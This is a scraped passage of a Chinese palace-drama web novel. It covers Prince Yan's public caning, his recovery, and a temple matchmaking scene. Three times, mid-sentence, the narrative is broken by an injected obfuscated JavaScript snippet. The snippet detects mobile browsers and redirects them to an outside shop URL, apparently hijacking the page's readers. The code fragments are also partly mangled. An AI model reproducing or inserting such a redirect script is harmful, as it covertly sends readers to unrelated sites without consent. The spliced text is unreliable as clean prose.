但乔晏一入行伍就是往指挥使培养的,这种鞭杖底下的功夫是不用也不会去练的,他只管下令,不管行刑。他又没有真的上过战场,就算上过战场,手下的轻重也只止步于杀人与不杀人,这种门道是绝对想不到也绝对没必要去琢磨的。 将沈斫交到他的手上,简直是在拿命赌。 他们都是支持东宫的,便也可怜至情至性的燕王。 但陛下的心思让人捉摸不透。说是要保护燕王,可又让他来行刑,说要打死燕王,更又让他乔晏来行刑。更兼这些年的流言蜚语,都让人不敢擅自揣度帝王之心。 并且啊,陛下定了五十杖。 杖不上五十,这算是心照不宣的规矩,过了五十,手上功夫不到家,身子骨不硬朗,极有可能一命呜呼。永济年初,公然有人违抗圣令冥顽不灵,陛下气极定了七十,二十杖还没下去,人就没气了。 燕王昼夜奔波,昨夜晕厥在刑部门前,今日绝对是受不了乔晏这不知轻重的五十杖。 张永一眼看着乔晏掂量着手中刑杖。 五十杖啊。 一条命。 沈斫的命。 也是太子的命。 更是沈磐的命。 张永一吊起一口气。 史可平突然悄声问:“你说,陛下还要不要这个儿子?” 张永一震惊。 史可平戳戳他的胳膊,让他去看周遭早就吵成一锅粥的官吏,其中不乏察院的低阶御史和位卑权高的六科给事中。 史可平道:“我看啊,陛下是想保燕王的。” 张永一转头看向刑凳上的沈斫。 也许吧,没有把沈斫交给内阁、三司和天下悠悠之口,或许是在保他,毕竟他犯的是死罪,天下没有几个皇帝能够容忍这样的臣子,父亲也不能容忍这样的儿子。他是太子的弟弟,代表了太子,言论一起,天知道为了颠覆东宫的野心人会怎样攻讦,褫夺王位、贬为庶人、乃至枭首示众都不是一句虚语。 陛下只用了五十杖。 五十杖就能将所有事端恩怨一笔勾销,就能彰显君父的无上仁慈。 张永一微怔,不知道自己怎么会这么去揣测永济帝的心思。 太不该了,用这样肮脏险恶的心思去揣度那个孤寒艰难的君王。 可一念及此,张永一心里就揉了沙子,越发难熬。 乔晏已经按照承天殿上的意思,高高扬起了刑杖。 既要打得皮开肉绽,又不能真的取了沈斫性命——乔晏应当从未遇见过这样的难题。 第一杖落下去时,沈斫的身体颤了颤。 他一声不吭地绷紧了肌肉,又听见了乔晏的叹息。 然后是第二杖。 前排的老臣都闭上了眼。 行伍中领军法时,张永一看过行军棍的场面,打得大多雷声大雨点小,动不动就是百余下,军士嚎得仿佛天都垮下来塌在他身上,但修养上十天半月就能行动自如不伤根骨。 但乔晏只打了这几杖,张永一就已经不敢再看下去。 第十杖时,沈斫的身体还是紧的,但到第十五杖落下、第十六杖抬起,蓄集在他心口的那股气就有些要散了。 张永一甚至开始想,自己这样冲上去阻断行刑,将来会面临怎样的惩罚。 外城光武门处骚动起来。 张永一与史可平站得离承德门近,观望了许久才从旁人的窃窃私语得知,刚闯入光武门的那个不要命的男人是陈王沈礴。 其实他还算不上男人,只是个文弱少年,偷跑出来要到承天殿上给沈斫求情,刚被发现就被比他高了一整个头的表哥霍开武锢在臂下。 他哭得涕泪横流,朝着远处小得像白璧上一处污点的沈斫大喊着“哥”。 事情闹到了光武门,还是为了沈斫,人人得见黑着脸的霍开武有多么生气,拖着小鸡仔似的陈王就要往城门外走。他应该在想,自己这个小表弟真的一点也不懂事,不懂家丑不可外扬,更不懂这些阴谋诡计,平日里只知道吟诗作对,现在发起疯来不惜对自己拳打脚踢。 白眼狼。 史可平“嘶”了一声,“他这是对陈王无礼,御史弹劾起来,得喝一壶吧?” 那头,霍开武的脾气终于上来了,“殿下你冷静点!” 陈王沈礴的一双眼里迸出的不仅是泪点,还有灼烫得不敢与之对视的愤恨与绝望:“他是我哥啊我要去救他!” 霍开武气血上涌,差点被陈王的狂吼气得晕厥过去,两臂更使上了扛鼎的力气,任凭沈礴如何挣扎,愣是一跬步也迈不过去,他压着训斥声,几乎要把陈王的耳朵都咬下来:“你没有哥哥!你娘就只生了你一个,你从来没有什么哥哥!这些人都是你的仇敌!你不杀他,他便杀你!” 张永一听不清他说了什么,只看得见,随着乔晏的刑杖落在沈斫身上发出一声闷响,陈王眼中波涛汹涌的恐惧、暴怒、担忧、伤痛都凝固在了原地。 第二十五杖落下,刑至一半,沈斫的脊梁有些要塌。 张永一捺不住,焦灼着想冲上去,刚被看热闹不嫌事大朝前面挤了挤的史可平无意挡下,承德门前就传来些不寻常的动静。 一看见形容狼狈的沈磐,张永一浑身都冻住了。 她像是宿醉初醒,又姐弟连心,沈斫在刑凳上刚有些心绪波动,她就瘫软着手脚被晋国公主拖了回去。 随着沈斫偏过头看来的眼神,沈磐心口钝痛,眼前一黑,头重脚轻地跌入沈碧怀里。 “姐……救他,我求求你救他……陛下最喜欢你,你说话他一定会听的,沈斫真的会死啊!” “姐,沈斫是我们的亲弟弟啊!是母后拼命也要保下来的人啊!” “姐我求你!求你为他说句话……” 沈碧从未见过她这么可怜的模样,从来没有见过这故作坚强的姑娘这么可怜地求她,求她去给沈斫求情。 可承天殿上的人心如磐石。 又过了两杖,魏俊秋出来了,带着换人行刑的旨意出来了,叫住了乔晏。 沈碧也拿不准了。 她一直安慰沈磐说,陛下不会杀沈斫的,皇帝不会杀亲儿子的。可现在行刑的人变成了魏俊秋,魏俊秋与东宫鲜有交情,他更是从底层一步步爬上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940792|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,杖刑中的功夫他最熟稔不过。 阎王要人五更死,魏俊秋能叫人三更就归西。 不,他能让人吐出的最后一口热气卡在刚刚打响的五更鼓上,不差分毫。 乔晏似也不甘将刑杖交给魏俊秋。 他卸了力道好不容易拖到现在,如果把沈斫交给了魏俊秋,天知道一两杖下去沈斫得残废成什么尸体模样。 但圣旨在上。 魏俊秋掂量了手中刑杖,血水沿着杖身流入他的掌心,又从自己的掌心渗出重新滴到沈斫身上。 他抬头看着过道上被晋国公主抱着的沈磐,高扬起刑杖,随后重重打下。 这不经意的一下打得沈斫沉哼一声。 皮开肉绽,血沫横飞。 沈磐嘴唇惨白,目不转睛盯着沈斫侧过来的脸。他还带着笑,他居然还带着笑,在血汗里与自己对视。 血水已经流入他的眼睛,他却还不肯闭眼。 残忍。 受不了这样的刺激,沈磐尖叫一声晕了过去。 杖刑还在继续,魏俊秋只是收回视线,俯看向凳子上的沈斫。 谁能想在东北历练又立过战功的燕王这么不禁打?乔晏那已经变着法卸力的二十五下扛下了,自己这几下给表面功夫却受不住。 他已经仁慈致至,只可惜乔晏手下没轻没重,三四个月燕王是绝对好不了的,若早早被遣返宁远,染了小病,只怕一命呜呼大罗金仙也救不来。 想着,魏俊秋又收了一层力,沈斫的下身更加血肉模糊。 毕竟,这是陛下的亲儿子,是东宫的亲弟弟。 空旷的皇城上空只回旋起这样的巨响。 “四十八!” “四十九。” “五十!” 魏俊秋应声收了刑杖,眼看着沈斫睁开眼睛,撑着刑凳站起来。 他心里数着,果然,只走了两步,沈斫就摔在了地上。 乔晏脸上冲了过去将人扶起。 沈斫走不动路,却还有力气和乔晏道一句“谢谢”。 魏俊秋站在他们身后,脸色又古怪起来。 今日早朝只议了“燕王私自返京”这一件事,五十下一到,太子就从承天殿里冲了下来,与乔晏施了一礼,扛起血肉模糊的沈斫就往东宫的方向走。 血水沿着太子的朝服,拖行一路。 百官站在承天殿上俯瞰着承德门前的这一幕幕。 他们好像都松了一口气放下了心。 魏俊秋朝太子的背影行礼,然后一声不吭地走向承天殿。 ** 张永一再来东宫,已经是阴风怒号的一月之后。 沈斫好得很快,趴在床上已经能沉默不语地看书看上一整个下午。后来沈磐才知道,他不在看书,只是反反复复看着那张《快雪时晴帖》,不知在想什么。 张永一等在演花殿门口,殿门一开,沈磐领出来一个少年,他连忙后退一步打礼。 目送那少年离开,沈磐这才幽幽道:“那是陈王。” 张永一再看那个像位弱不禁风的小儒生的男孩子,居然就是翻云覆雨之辈口中一直能传念的陈王殿下。素服敛容,似是在为元良郡王戴孝,又似是为他与沈斫间的兄弟情谊所受之伤哀悼。 “你不该来的。” 张永一回神,“请公主允许臣探望殿下。” 沈磐只是端详他眉眼间的沉重,再没多说什么,就让开身让他进去了。 门合上,沈斫也合起手中新翻的书册。 “永一?你怎么来了,是梁国姑姑出事了?” 张永一摇头,“臣自己来看殿下。” “你不该来的。” 张永一只望着他眼中的消沉不说话。 “永一,我要谢谢你,谢你去救元良,也救了磐磐。” “臣……” “崖然很好,他从前的事情也都和我说了,他正在宁远改过自新呢。他的医术也很高超,挽救了不少将士和百姓,是宁远的大恩人。” “臣……” “永一,我也很好,要到二十岁了,我正在想给自己起个字,你帮我参谋参谋。” 张永一咽下苦楚,应上一声:“好。” 20. 第二十章 莫平意(二) 沈斫趴在枕头上,将手中的书卷递给张永一,“其实我已经选好了,叫‘时晴’,只是不好——” 张永一翻了翻,这本居然是建安三曹的诗集,他接话问:“如何不好?” “斧以金为斫,与‘时晴’二字哪里也搭不上,且念上去,就像个姑娘。” “臣以为殿下是说,尊长不言而擅取小字,是为不好。” 沈斫轻笑:“这也没什么不好,有人愿信这些,有人不信罢了——坐,这有位子。” 张永一应声坐下。 “信这些的人,也未必敬权敬威,不信这些的人,倒也未必不敬不畏,不过沉痛哀念罢了。” 张永一端详他。 快雪时晴,随意拈来就是一个“时晴”。 沈斫道:“你见过襄阳侯了吧?” “是。” “他大名叫郇翾,也未取字。” 张永一还是端详他,轻声问:“为何?” 也许是压得心肺憋闷,沈斫的胳膊撑了撑,总算又找到了一个舒适的姿势趴了上去,“他自己不愿,觉得亲近之人直呼其名也不算冒犯。” “为何不愿?” “听宁先生说,是斯人已逝,无人堪配为其尊长、为其释名。” “那人是谁?” “他哥哥,前任襄阳侯郇海山,也是辅国长公主的驸马郇海山。” “他字海山?” “嗯,名寰,字海山。寰中宇内、海山是也。好名字。” “的确如此。” “永一你的名字也很配,络,缠也,守于一志、一处、一人,是为永一。” 张永一看着他笑得松快。 “磐磐说,‘时晴’这字她用着才差不多,要跟我抢,叫我让给她,我不答应她还生气。她啊,是我姐姐,脾气上倒像个妹妹,也不知将来谁能受得了她……” 说着,沈斫这才想起沈磐已经有婚约,不由得噤声。 “公主她……” “嗐——”沈斫重新展颜,“她还想着一辈子不嫁人,学着襄阳侯家的一对姑侄,梦里都是浪迹天涯行侠仗义,也不知她竟日里看的什么东西。” “公主很洒落。” “她只是装得洒脱、装得无所畏惧,常常心口不一,特别爱骗人……”说着,沈斫叹气。 “殿下?” “张永一,今年宁远的雪很大。” 把陆将军坟前的松树都压折了,他亲自去扫了雪收了断枝,发现树上居然筑了麻雀巢,雀儿也没了家。 苍天白地里,他也如麻雀一点。 宁远的雪真的很大。 张永一沉默着。 ** 等沈斫能够下地行走,一个盛夏已经掠过,元良也走了一整个夏天,活着的人又要过八月的千秋节。当今陛下是十一月的诞辰,永济朝的千秋节也该定到十一月,不知为何陛下还是用了升平朝的惯例。 宫中有了旨意,要遣返沈斫,责令他节后北上,年末也不必回来。 祖母一连多月都对着除秽剑泪流,不知是在想念哪个已经撒手人寰的儿子。可突然一日,张永一下衙回家,就见她拉着老嬷嬷们翻箱倒柜的,眉梢眼角全是喜气,连院墙树上筑了的一巢麻雀的喳喳乱叫,都成了福音。 张永一很纳闷,见祖母笑眯眯地打量自己更加心惊。 果不其然,梁国长公主一开口,张永一心里的猜测就成了真。 “络儿,后日你休沐对吧?” “嗯,祖母有什么吩咐?” 梁国拉着他的手,左看右看,“去趟慈悲寺吧?” “好,到时候我为祖母驾车。” 梁国摇头:“不,是你自己去。” 张永一装愣,“好,祖母在家好生歇息,孙儿替祖母去礼佛。” “佛要礼,当然还有更重要的人要见。” 张永一眨眨眼。 梁国笑眯眯。 于是乎,按照梁国长公主意思,张永一在慈悲寺的后院里莲花池边,遇到了所谓的“更重要的人”。 ** 梵音叠唱,一片禅意。 沈斫才能走,就被沈磐拖去了慈悲寺。其实她本来想去双塔寺的,但突然听说大姐的小姑从南边回来了,被侯夫人压着要来慈悲寺与人相亲,于是看热闹的闲心一起,就拉着苦哈哈的沈斫飞来了兴化坊慈悲寺。 沈斫对沈磐的压榨十分不满,但碍于亲姐姐的拳头,他只能向暴力低头。 “嗐,你想和大姐道歉,也用不着把我也拉过来挡箭。” “说什么呢?嗯?”沈磐挑眉,提起裙摆迈过门槛,走下这巍峨的大雄宝殿。 沈斫啧了一声:“好好好,我什么也没说,只是——” “只是什么?”沈磐睨他一眼,“只是什么你也别管。” 沈斫心中微叹。 为了让他继续留下来养伤,沈磐又想去御书房外跪上一宿,被沈碧架回了东宫,姐妹两个就此大吵一架不欢而散。一连几日过去,她每天都后悔向沈碧发火,但又拉不下面子去侯府登门致歉,便想借沈碧陪小姑出门相亲的机会来此“偶遇”。 真是别扭的丫头。 “当心脚下!”沈斫上手拉了心不在焉的沈磐一把,这才免她于滑倒。 沈磐方才回神,忽然问:“刚刚在佛祖面前你求了什么?” 等沈磐站定,沈斫低头微一弯腰把她鞋子踩着的衣摆扯出来理好,“亲人百岁,贤君千岁,社稷万岁。” 元良一家来生幸福安康。 沈磐连忙跳开,又抢上来按住他的肩膀,“别弯腰!” 被凶到,沈斫只能干巴巴站着,任由沈磐把自己的衣摆理好,她抬头拧眉,又训斥起来:“净想着别人了,怎么不想想你自己?” 沈斫笑:“想了。” “想了?想哪里去了?” “你不想着我吗?” 沈磐白他一眼,“得得得!” 气完,沈磐一甩手又冲上了宝殿,顺着没人的蒲团又跪了下去,郑重地朝佛祖叩首。 等表情肃穆虔诚的沈磐提着裙子出来,沈斫才追到门口叹气:“你这又在干嘛?” 沈磐没好气地瞪他:“替你求余生顺遂!” 沈斫一愣,喉咙哽咽,看着沈磐良久方才笑道:“原来你先前真没想我?还是我多想了,不过你一会儿求这儿、一会儿求那儿,佛祖见你贪心,估计一个也不会理你。” 沈磐昂首挺胸、满口自豪:“所以我和佛祖说了,先前那个不作数,不必理会。” 沈斫哭笑不得,“先前你求了什么?” “为何要告诉你?” “为何不告诉我?” 沈磐推搡他,“别管。还有我要纠正你,佛祖面前我可向着你、想着你的,只是觉得再求一个顺遂平安才能妥帖。” 沈斫心里刺痛。 “是不是和你的亲事有关?” 闻言,沈磐一怔,见他神色严肃,就知道这小子猜到了且笃定了。 她缓缓道:“这种事,哪需要到佛祖面前发愿?我自己就能解决。” 沈斫与之对视,沈磐下意识错开目光。 “你曾经说的,你不想嫁人。” “是么?我说过?” “你说嫁人就是悲剧的开始,你一个公主,旁人瞧了是驸马伺候你,但嫁了人给别人当媳妇,夫为妻纲,谁知道是谁伺候谁,且祖宗家法没定你必须要嫁人,就算有规矩……这是你的原话,你还笑呢,说等二哥当了皇帝,他就是规矩,二哥最疼你了,绝对不会逼迫,到时候就养上十个八个的小白脸,高兴啊,天天游山玩水,绝对不给二哥添半点麻烦。” 沈磐听得目瞪口呆。 沈斫还是满脸严肃,“所以现在,是要你嫁给霍开武、拉拢了霍家,二哥才能当皇帝是么?” 一瞬。 两瞬。 三瞬。 沈磐勉强笑了:“你在胡说八道什么?” “姐,不要瞒我。” “如何瞒你了?”沈磐推着他继续往前走,“我哪里瞒着你了?哪有你想的这么多?就是我年纪不小了,也该替自己的终身大事考虑了……” 沈斫的心慢慢沉了下去,“那你为何选霍开武。” “谁叫霍辄只有他一个儿子呢?” “英国公府的门第不好吗?卿家的、郇家的,哪个比霍家差?哪怕是张永一也好……” 沈磐沉默。 沈斫回身,“磐磐——” 沈磐横他一眼,他立即改口,“姐!” 沈磐瞪他:“我的事你别管!” “又不想告诉我?”沈斫冷哼,“自有旁人会告诉我,哪怕我在宁远……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946430|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,瞒着你元良的事情是我们不对,可这不是不想多生事端吗?你看那些居心叵测之人遮遮掩掩地给你送消息引你回来,你就吃了这么多苦头……” “我甘之如饴。” 被沈斫呛声,沈磐一口气堵在心里疼得厉害,又没理由舍不得凶他,只能忿忿地跺脚,抛下沈斫就胡乱捡路而走。 她几乎是用跑的,没几步就没了影,沈斫这才慌了,将心口的凉、痛、许许多多说不清道不明的情绪都抛诸脑后,赶忙追了过去。 慈悲寺不大,贵在玲珑精致,精致到沈斫有如误入迷宫。 他急着满头是汗,一停下来就想起小时候的那些事来。 那回他们也吵了一架,沈磐就丢下他跑了,还刻意躲着自己,一直和自己绕到了天黑,等三哥从书院回来找到大哭不止的自己,她这才勉强道歉。后来有一回他们无意走散了,在紫微宫那样冷森森的地方,她自责惭愧到寝食难安。 沈斫身上的伤又痛了起来。 朝中风起云涌,化隆事端频发,他是真的担心这些与自己至亲至近的人会有什么闪失。他已经失去了元良,如何能再失去他们? 他将及冠,却忽然想像稚子一样大哭一场,因为哭完沈磐就会出现,三哥也会回来,他们都会到他身边。 沈斫觉得荒谬。 过于荒谬了。 他又往水边走了不过五步,就见那边乌木亭里一坐一站两个人,那个站着与人说话的不是沈磐又是谁? 他的心终于落回了心腔。 “燕王殿下?” 沈斫一愣,循声回头看去,那个笑着大步走来的居然是常服在身的张永一。 “永一?”沈斫把住张永一的小臂,不由得兴喜起来,又见他身后跟来一个姑娘,连忙拘束地松开手。 “哈,是燕王殿下吧?”这姑娘笑吟吟朝沈斫施礼,抬头毫不避讳地看向他,这让沈斫顿时腼腆起来。 他觉得这姑娘面熟,眼神明亮,气质开阔,尤其是她下半张脸的神韵十分熟悉,但一时半会儿想不起来是哪家的人。沈斫苦恼着,就听这姑娘掩唇嘲笑:“呀,燕王殿下居然不认得我了。” 她笑看向张永一,张永一顿时和眼前的沈斫一起腼腆起来,不禁更扬眉调笑:“张郎中不介绍介绍?” 张永一斟酌着词句刚要张口,就见一个小男孩啃着串糖葫芦蹦蹦跳跳插了进来,熟稔地拽上沈斫的袖口,眨巴着眼睛、也学着这姑娘的神态嘲笑道:“呀,小舅舅,这是我萦姑姑啊!舅舅居然认不出来!” 沈斫一懵,顿时惭愧地后退一步朝郇萦道歉:“恕我眼拙,的确是很多年不见了……” 郇萦“呵呵”笑了,又听沈斫“嘶”了一声,好像对于张永一跟自己孤男寡女在外散步十分不解,便反问:“殿下是一个人来的?” 不用回答,那男孩就要抢白:“那必然是了,正好与我作伴!” 沈斫连忙要解释,就听小孩充大人地朝郇萦和张永一指点:“太好了,你们继续相亲,我和小舅舅去玩啦!” “相亲?” 沈斫猛然想起,郇萦就是被母亲压过来相亲的,却不想男方竟然是张永一! 狂风骤雨正呼啸着,三人又听这咋咋呼呼的男孩指着那边的凉亭惊讶大喊:“哈!姨母也在和人相亲!” 三人齐齐望去,那边凉亭里沈磐正与一陌生男子相谈甚欢。 郇萦轻呼“哇塞”,沈斫满脑门官司急得团团转,这男孩已经箭似的飞了过去,一路挥着手一路喊着:“好俊的人啊!好俊的准姨父啊!” “霍开武这么俊俏的吗?”郇萦边惊讶着,边追着小男孩要过去,突然想起了什么,连忙回头看向张永一。 他面色沉沉,好像心情不好。 见郇萦回头等他,张永一连忙收拾心情,装得毫不在乎地和她并肩走了过去。 “郇渊?”沈磐拍案起身,就见这郇渊小鬼头引来了沈斫也罢了,和郇萦一同出现在眼前的居然还有张永一。 嵇阑“哈哈”笑了,也起身理了衣袂,边朝沈斫等施礼,边和郇渊搭话:“小公子,你可说错话啦。” 郇渊朝着嵇阑这张人神共愤的脸张着嘴出神,没注意到一边沈磐脸色黑如锅底。 嵇阑自我介绍道:“在下嵇阑,参见燕王殿下,见过郇姑娘、张郎中,还有这位郇小公子。” 21. 第二十一章 郇萦一把将还在花痴的郇渊拉回身边,朝嵇阑蹲身还礼:“嵇公子啊,幸会幸会。令尊是?” 嵇阑笑道:“靖臣将军嵇阀。” “原来是忠义侯家的公子,失敬失敬。” “襄阳侯府的小姐见多识广,在下才学鄙陋、眼界更是短小,十分失礼,还望郇姑娘不要见怪。” “怎会……” 沈斫眼看着郇萦和嵇阑莫名其妙打起了客套,极其热络,场面不冷,可气氛就是无比古怪,余光瞥着黑脸的沈磐,又见沉默的张永一自若的神态里也有些勉强,便开口岔开健谈万分的两个人:“嵇公子来慈悲寺也是上香?” 嵇阑词句诚恳,眼神却瞟着沈磐,“是啊,常来佛家净地能够荡涤身心,还能与群英相聚,实乃幸事乐事。” 沈斫点点头,听嵇阑笑问:“张郎中与郇姑娘偕行,也是来上香的?在下听闻慈悲寺的姻缘签十分灵验……” 沈磐皱眉,张永一略微尴尬,沈斫莫名焦灼,只有郇萦笑得大方敞亮,不知她究竟在笑些什么,这样的笑落在人人眼里都无比刺眼。 郇渊赶忙打断他:“不不不!他们是来相亲的!还不用求姻缘签!这太快了!” “相亲?”沈磐难以置信与郇萦相亲之人竟会是张永一。 郇萦将嘴巴比刀子还快的郇渊又扯到背后,笑应下嵇阑:“这么灵验吗?劳嵇公子指个路。” 嵇阑扫过沈磐和张永一脸上的震惊,笑着接话:“好啊。” 沈斫连忙上前:“今日还是算了吧——” 郇萦和嵇阑齐齐回看他,他又见沈磐和张永一也盯着他,顿时后悔万分,恨不得将自己才说过的话追回来吞下去。 但他们都静悄悄等着自己说话,沈斫只能硬着头皮胡言乱语:“嗷,是这样,天色不早,郇渊得早些回去,不然家里人会担心的。” 郇渊眉高眼低、困惑不已地望向他,刚要出声质疑,就被沈斫拉着往凉亭外走,“走吧走吧,我难得在京一趟,有好多话要和你说,郇渊,你没有话要和我说吗?” 郇渊奇怪:“我没有话要和舅舅说啊……” “不,你有的。” 亭中四个人眼见着沈斫牵着郇渊逃难似的跑了,嵇阑和郇萦都琢磨出了其中意思,对视一眼,笑着要各自告别。 “既然如此,那以后再约吧。” 嵇阑笑道:“在下恭候姑娘的佳音。” 郇萦朝仍然黑脸的沈磐点头示意,走了两步,突然想起了张永一,便驻足转身看过去。 张永一在看沈磐,被自己发现了,连忙移开视线,装作在看池上风景。 郇萦压着笑,问:“张郎中不送送我吗?” 得了提醒,张永一连忙点头,刚走了半步便记得要给沈磐行礼道别。 沈磐半侧过脸,与嵇阑一同站着等他们走远。 嵇阑捂着嘴笑得夸张:“哎呀哎呀,燕王殿下可真是操心。” 沈磐一个眼神还没砸过去,他便正经下来解释道:“郇姑娘不过和我多说了半句,他就着急我挖他兄弟的墙脚,哎呀哎呀,人家张永一自个儿都没急,燕王殿下倒急得不行。” “挖呀?”沈磐撩袍坐下,“男未婚女未嫁的你倒是挖呀?她是常年不在京,等她知道了你的名声,那时候你还能挖,本宫要佩服得五体投地。” “酸得啦——”嵇阑夸张地朝她笑,“那天我在楼上看见,和公主一起逛花灯的就是他吧?” 沈磐挑眉:“怎么了?” “嗐,没什么。”嵇阑摆手,“就算有什么,也得没什么,不是吗?” 沈磐直直迎上他的视线。 “毕竟在下是要尚主的,对吧我的公主?” 见沈磐被他的话恶心到了,嵇阑笑得幸灾乐祸,“今天霍开武也来了,以他那阴损的性子,指不定在哪里看着我们呢,到时候公主那儿可有得麻烦。” “你能周全自己别给我添麻烦就好。” 嵇阑虚虚一抱拳,“那是自然。” 沈磐起身,“那就这样吧。” 嵇阑也站起,“那我送送公主?” “这倒不必。” 嵇阑笑笑:“我觉得很有必要。” 沈磐皱眉,刚要问嵇阑打什么哑谜,就见他突然走近,惊得自己要往后一跳,却不知裙摆刚好被他踩住,便这么重心不稳直挺挺朝后摔去。 嵇阑连忙拉她一把。 意料之外没有摔得腰酸背痛,沈磐一睁眼就见自己趴在嵇阑胸口,他脸色如故,却咬牙切齿地朝自己抱怨:“还挺疼的,下次再也不这样了。” 沈磐扬眉,顿时明白了过来,冷笑道:“活该。” 她刚要爬起来,后脑勺却被嵇阑用手按了按,两个人的脸顿时离得很近,近得彼此的鼻息都喷在对方脸上。 沈磐下意识地要往后躲,不妨听见嵇阑轻声道:“忍忍,那畜牲的耐心只有三个弹指。” 见他眼神诚恳,绝无半分有意要轻薄自己的意思,沈磐心中冷哼,默默数了三声,亭外仍然没有什么动静,顿时火冒。 嵇阑扯唇笑道:“公主啊,谁占谁便宜还不一定呢,可别这么着急下定论。” 说着,他一松手,却暧昧地将手隔着空气搭在她的腰间。 沈磐逼自己沉下心,用手肘狠狠搁在嵇阑的肋下挤兑了一把,借力坐了起来,报复似地呵声笑:“是么?” 嵇阑吃了暗招,倒没生气,反而躺在地上“哈哈”地笑,笑看着沈磐站起来掸着身上的灰尘。看了一会儿,等沈磐收拾好形容就要甩手走人时,他出声道:“祝愿我们一切顺利。” 沈磐瞥了还躺在地上装死人的嵇阑,“那是当然。” 等沈磐走后,嵇阑翻了个身。 ** “舅舅,你有什么话要和我说啊?” 沈斫还频频回望来路,不妨郇渊耐心耗尽,横在前边气咻咻地质问。 “嗯——”沈斫被迫从那处修罗炼狱中抽回心神,仰头想了想,真诚地问:“你觉得张郎中怎么样?” 郇渊撇嘴:“张郎中?就那样。” “哪样?” “无趣的模样。” 沈斫顿时语塞。 郇渊又咬了一颗糖葫芦,想了想又道:“那位嵇公子比较有趣。” 他鼓着腮帮又补充道:“萦姑姑也一定是这么认为的。” 沈斫立时汗颜。 “你母亲呢?她今天没来?” 郇渊摇头,“祖母嘱咐我,一定要跟着他们,寸步不离!现在好了,都怪舅舅!” 沈斫惭愧地蹲下来,“我给你道歉。” 郇渊摇头:“这可不够,此事关乎萦姑姑的终身幸福,一句空话可不管用。” 沈斫想想道:“我给你买糖葫芦、糖人。” 郇渊还是摇头:“买了我也不能带回家吃,父亲母亲一定会骂我的。” 沈斫觉得难缠,绞劲脑汁地想,可他怎么也想不出有什么东西能哄这小祖宗的高兴。不过这不劳他费心,郇渊见自家舅舅这么诚恳地要将功补过,便勉为其难地递了个台阶,“要不——” “要不什么?” “要不来盏酥山?” 沈斫“嘶”一声:“现在天这么凉了……” “哎呀我吃了不会拉肚子的!” 沈斫忍不住笑出声,“你小子!我在想现在天气这么凉,恐怕没人会卖酥山……” “有的有的……”郇渊也不装了,“我带你去,你只管付钱就好了。” 然后郇萦和张永一就在慈悲寺偏门口遇见了蹲在一起吃酥山的舅甥俩,郇渊吃着碗里的,还看着沈斫碗里的,眼神粘嗒嗒湿乎乎,就差朝沈斫摇尾乞怜。 “果然!” 听见郇萦的声音,郇渊像是被抓包的老鼠,一蹦三尺高。 张永一看着沈斫跟着郇渊偷吃冷食,不由得发笑,突然记得沈斫的伤才好了点,这么拉扯着伤口只怕出事。 沈斫故作自然地站了起来,“哦,你们来了。” 郇萦气势汹汹地点着郇渊嘴角的残渣,“别藏了。” 见沈斫大剌剌端着碗丝毫没有偷吃的自觉,郇渊朝沈斫吹胡子瞪眼睛。 张永一忍不住笑,郇萦却揪着郇渊的耳朵,“你小子厉害啊,这就吃上了?怎没想着孝敬孝敬你姑姑我啊?” 说罢,她一把从郇渊身后抢过那半碗酥山,“没收了啊,小心我和你爹娘告状!” 郇渊指着沈斫,“酥山是舅舅买的!买了给我道歉的!不关我的事!” 张永一终于笑出了声。 郇萦瞥了眼满脸通红的沈斫,“哦?道什么歉?” 郇渊刚要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949952|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,就见郇萦绕就着他剩下的美味吃了起来。 他顿时着急起来,抱着郇萦的腰哭求着:“好姑姑好姑姑!”,又或者是:“姑姑最好了姑姑最好了!”最后变成了:“姑姑剩一点给我就一点好吧!” 沈斫端着碗,也觉得好笑起来。 张永一道:“殿下不怕公主知道了担心?” 沈斫难得有心情和他玩笑:“那你帮我解决了?” 一听这话头,眼见吃冰无望的郇渊跳了过来,抱着沈斫苦求起来:“我来帮舅舅!我最热心了!舅舅有伤,不应当吃冷的,不然我会告诉长平姨母舅舅偷吃酥山!” 张永一按着飞起的眉头,忍不住又笑了。 这分明是要挟抢劫。 沈斫被逗乐了,便任由郇渊捧走了自己的碗。 郇萦道:“既然连酥山都吃了,那我们回去吧?” 郇渊着急忙慌地摇头。 郇萦哪管,抬脸笑眯眯看向沈斫:“燕王殿下送一送?” 沈斫一愣,看向张永一,“那磐磐……” 郇萦也看向张永一,摊摊手,“公主自有人送,只是燕王殿下得帮我去解释解释,不然郇渊这贪凉的小鬼拉一个晚上的肚子,我可担待不起他爹娘的怒火。” ** 沈磐刚走到偏门,就看见等在门边和僧人闲聊的张永一。 